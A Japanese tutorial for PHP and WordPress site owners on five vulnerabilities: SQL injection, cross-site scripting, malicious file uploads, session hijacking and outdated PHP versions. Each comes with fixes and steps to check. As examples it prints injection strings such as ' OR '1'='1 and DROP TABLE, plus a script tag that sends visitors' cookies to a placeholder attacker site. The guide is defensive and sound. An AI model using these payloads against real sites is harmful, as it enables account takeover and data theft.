PHPの脆弱性対策まとめ|必ず対応すべき5項目を確認方法つきで解説
PHPで作られたサイトは世界中に数億以上あります。攻撃者にとって「狙う価値が高いターゲット」になっているため、知識がなくても対策は必須です。この記事では必ず対応すべき脆弱性に絞って、「対策しないとどうなるか」「WordPressの場合はどこを確認してどう直すか」をセットで解説します。
ログインフォームや検索ボックスに、普通の文字ではなくSQLコマンドを入力して、データベースを乗っ取る攻撃です。
被害例: 会員情報が全件流出、管理者アカウントを乗っ取られる、データを全部削除される
例えばお問い合わせフォームに ' OR '1'='1 と入力されるだけで、データベースに保存された全ユーザーのメールアドレス・パスワード・住所が丸ごと取り出せます。
さらに悪意ある攻撃者は DROP TABLE users のようなコマンドを送り込み、サイトのデータを一瞬で全消去することもできます。ECサイトであればクレジットカード情報が流出し、最悪の場合、個人情報保護法違反として行政処分・損害賠償の対象になります。
ログインフォームのパスワード欄に以下を入力してみてください(テスト環境で行うこと)。
これを入力してログインできてしまった場合、SQLインジェクションの脆弱性があります。
コードに以下のような書き方がある場合は即座に修正が必要です。
$sql = “SELECT * FROM users WHERE id = ” . $_GET[‘id’];
プリペアドステートメントを使います。ユーザーからの入力を直接SQLに埋め込まないだけです。
$stmt = $pdo->prepare(“SELECT * FROM users WHERE id = ?”);
$stmt->execute([$_GET[‘id’]]);
WordPressの場合は $wpdb->prepare() を使います。
$result = $wpdb->get_results(
$wpdb->prepare(“SELECT * FROM wp_posts WHERE ID = %d”, $id)
);
① まずプラグインを確認する(これが最重要)
WordPressのコアは自動更新されますが、プラグインの古いバージョンがSQLインジェクションの原因になるケースが非常に多いです。以下を確認してください。
▶ 管理画面 → ダッシュボード → 更新 を開く
▶ プラグインの更新がある場合はすべて更新する
▶ 使っていないプラグインは削除する(無効化だけでは不十分)
② 自作プラグイン・functions.phpでDBを直接触っている場合
functions.php や自作プラグインで $wpdb->query() を使っている箇所を検索し、変数を直接つなげている書き方がないか確認します。
ヒットした行に . $_GET や . $_POST のような変数の直接結合があれば要修正です。
掲示板やコメント欄に悪意あるJavaScriptを書き込まれ、それを見た別のユーザーのブラウザで実行される攻撃です。
被害例: クッキー(セッション情報)を盗まれてアカウントを乗っ取られる、偽のログイン画面を表示されてパスワードを騙し取られる
たとえばブログのコメント欄に <script>document.location='https://悪意あるサイト/?c='+document.cookie</script> と書き込まれると、そのページを開いた人全員のセッションCookieが攻撃者のサーバーに自動送信されます。
管理者がそのページを開いた瞬間にWordPressの管理者アカウントを乗っ取られ、バックドアを仕込まれたり、サイト全体が改ざんされたりします。実際に日本のWordPressサイトでも多数の被害が報告されています。
入力フォームやURLパラメータに以下を入れてみてください。
アラートが表示されたら脆弱性があります。
コードに以下のような「エスケープなし出力」がある場合は危険です。
echo $_GET[‘name’];
echo $user_input;
HTMLに出力する際は必ず htmlspecialchars() を使います。
echo htmlspecialchars($_GET[‘name’], ENT_QUOTES, ‘UTF-8’);
たったこれだけで、スクリプトタグが無害な文字列として表示されます。
Twig、Bladeなどのテンプレートエンジンを使っている場合は、{{ 変数 }} の記法で自動エスケープされていることが多いです。
① テーマのfunctions.php・テンプレートファイルを確認する
WordPressのテーマファイルで echo している箇所を検索し、エスケープ関数を使っているか確認します。
② WordPressではエスケープ専用の関数を使う
WordPressには用途別のエスケープ関数が用意されています。HTMLに出力する場所によって使い分けます。
esc_html()esc_attr()esc_url()esc_js()
echo esc_html( $user_input );
// 属性値に出力する場合
echo ‘<input value=”‘ . esc_attr( $user_input ) . ‘”>’;
// URLに出力する場合
echo ‘<a href=”‘ . esc_url( $redirect_url ) . ‘”>こちら</a>’;
⚠️ the_content() や the_title() などのWordPress標準テンプレートタグは内部でエスケープ処理されています。ただし get_the_title() などの「取得のみ」の関数は自分でエスケープが必要です。
画像アップロード機能などを悪用して、PHPファイルをサーバーにアップロードし、そのファイルを実行してサーバーを乗っ取る攻撃です。
被害例: サーバーを完全に乗っ取られる(ウェブシェルの設置)、他のサイトへの踏み台にされる
プロフィール画像アップロード機能に脆弱性があると、拡張子を avatar.php.jpg などに偽装してPHPファイルをサーバーに置かれます。攻撃者はそのURLにアクセスするだけでサーバー上で任意のコマンドを実行できます。
これが「ウェブシェル」と呼ばれる状態で、サーバー上のすべてのファイルの閲覧・書き換え・削除が可能になります。他のサイトへの攻撃の踏み台にされ、ホスティング会社からアカウントを停止されるケースもあります。
アップロード機能で .php や .phtml ファイルをアップロードできるか試してください(テスト環境で行うこと)。また、以下のような拡張子チェックだけのコードは危険です。
if ($_FILES[‘file’][‘type’] == ‘image/jpeg’) {
// これだけでは不十分
}
以下の3つをすべて行います。
1. 拡張子とMIMEタイプを両方チェックする
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES[‘file’][‘tmp_name’]);
if (!in_array($mime, $allowed_types)) {
die(‘許可されていないファイル形式です’);
}
2. アップロード先ディレクトリでPHPを実行できないようにする
アップロードディレクトリに .htaccess ファイルを置きます。
AddType text/plain .php .phtml .php3
3. ファイル名をランダムな文字列に変更して保存する
① WordPressのアップロードフォルダに .htaccess があるか確認する
wp-content/uploads/ フォルダを確認してください。このフォルダに .htaccess ファイルがない場合、PHPファイルをアップロードされて実行される危険があります。
対応: FTPソフトまたはサーバーのファイルマネージャーで wp-content/uploads/.htaccess を作成し、以下を記述して保存します。
AddType text/plain .php .phtml .php3 .php4 .php5 .phps
② アップロード系プラグインを使っている場合
Contact Form 7、WPForms、Gravity Formsなどでファイルアップロードを受け付けている場合、プラグインが最新版かどうかを必ず確認してください。古いバージョンには既知の脆弱性が多く報告されています。管理画面 → プラグイン → インストール済みプラグイン から更新を確認します。
PHPのセッションID(ログイン状態を管理するキー)を第三者に盗まれ、そのユーザーになりすましてログインされる攻撃です。
被害例: 管理者アカウントを乗っ取られる、個人情報を閲覧される
セッションIDはブラウザのCookieに保存されています。HTTPSでないサイトでは通信が暗号化されていないため、同じWi-Fi(カフェや空港など)にいる攻撃者がツールを使って通信を傍受し、そのセッションIDを盗むことができます。
盗まれたセッションIDを使うと、パスワードを知らなくてもログイン済みの状態で操作できます。会員制サイトなら個人情報の閲覧、ECサイトなら不正購入、WordPressなら管理者として記事の改ざんやマルウェアの設置が可能になります。
php.ini または phpinfo() で以下の設定を確認してください。
php -i | grep -E ‘session.cookie_httponly|session.cookie_secure|session.use_strict_mode’
すべて Off または設定自体がない場合は要対策です。
PHPコードの先頭で以下の設定を追加するだけでOKです。
ini_set(‘session.cookie_httponly’, 1); // JSからセッションCookieを隠蔽
session_set_cookie_params([‘samesite’ => ‘Strict’]); // クロスサイト送信を防ぐ
session_start();
// ログイン成功後は必ずSIDを再生成
session_regenerate_id(true);
HTTPS環境の場合は、こちらも追加します。
① まずHTTPS(SSL)になっているか確認する
サイトのURLが https:// で始まっていない場合、通信が暗号化されておらず、セッションIDが盗まれるリスクが非常に高いです。
▶ 管理画面 → 設定 → 一般 を開く
▶ 「WordPressアドレス」と「サイトアドレス」が両方 https:// で始まっているか確認
▶ httpsになっていない場合はSSL証明書の設定が必要(ほとんどのレンタルサーバーで無料で設定可能)
② セッション保護を強化するプラグインを使う
WordPressのセッション管理は独自の仕組みですが、以下のプラグインで大幅に強化できます。
▶ Wordfence Security(無料)— ログイン保護・2要素認証・不正ログイン検知
▶ WP Cerber Security(無料)— ログイン試行制限・セッション管理強化
③ 管理者アカウントのユーザー名を「admin」から変更する
デフォルトの「admin」ユーザー名はブルートフォース攻撃のターゲットになります。管理画面 → ユーザー → 新規ユーザーを追加 で別の管理者を作成し、古い「admin」アカウントを削除してください。
PHPの古いバージョンを使い続けると、公開された脆弱性(CVE)をそのまま攻撃されるリスクがあります。
サポート終了済みの主なバージョン:
PHP 7.4以下はすでに公開されている脆弱性(CVEデータベースに登録済み)を修正するセキュリティパッチが出ません。つまり、「既知の穴」がそのまま放置された状態です。
攻撃者は脆弱なPHPバージョンのサイトを自動スキャンで探し出し、大量に攻撃します。WordPressサイトの改ざん被害の多くが、PHPとプラグインの古いバージョンを狙ったものです。「うちのサイトは小さいから狙われない」は通用しません。自動化された攻撃は規模に関係なく機械的に実行されます。
以下のコマンドでPHPバージョンを確認できます。
PHP 8.3.x または PHP 8.4.x と表示されればOKです。それ以外のバージョンはアップデートを検討してください。
1. PHPバージョンをアップデートする
サーバー共有環境(レンタルサーバー等)の場合はホスティング会社のコントロールパネルから変更できます。VPS・専用サーバーの場合は次のコマンドで引っ越してください。
sudo apt install php8.4
sudo update-alternatives –set php /usr/bin/php8.4
2. バージョン情報を非表示にする
php.ini に追加するだけで、バージョン情報を外部に漏洩しなくなります。
① レンタルサーバーでのPHPバージョン変更手順
主要なレンタルサーバーでの変更方法は以下のとおりです。
⚠️ 注意: PHPバージョンを上げる前に、使用中のプラグインが新バージョンに対応しているか確認してください。テスト環境で検証してから本番反映することを推奨します。
② 現在のPHPバージョンをWordPress管理画面で確認する
管理画面 → ツール → サイトヘルス → 情報 → 「サーバー」の項目を開くと、現在のPHPバージョンが確認できます。7.x系や8.0・8.1のままであれば早急なアップデートが必要です。
💡 WordPressユーザーが今日できる4ステップ
1. 管理画面 → ツール → サイトヘルス → 情報 でPHPバージョンを確認する
2. ダッシュボード → 更新 を開いてプラグインをすべて最新にする
3. wp-content/uploads/.htaccess を作成して、PHPの実行を禁止する
4. Wordfence Security(無料)をインストールして不正ログインを防ぐ
セキュリティ対策は「完璧にやらなければならない」と思うと手が止まります。まずは今日できる1つだけ実行してください。小さな対策の積み重ねが、攻撃者が「このサイトは面倒だ」と諦める壁になります。


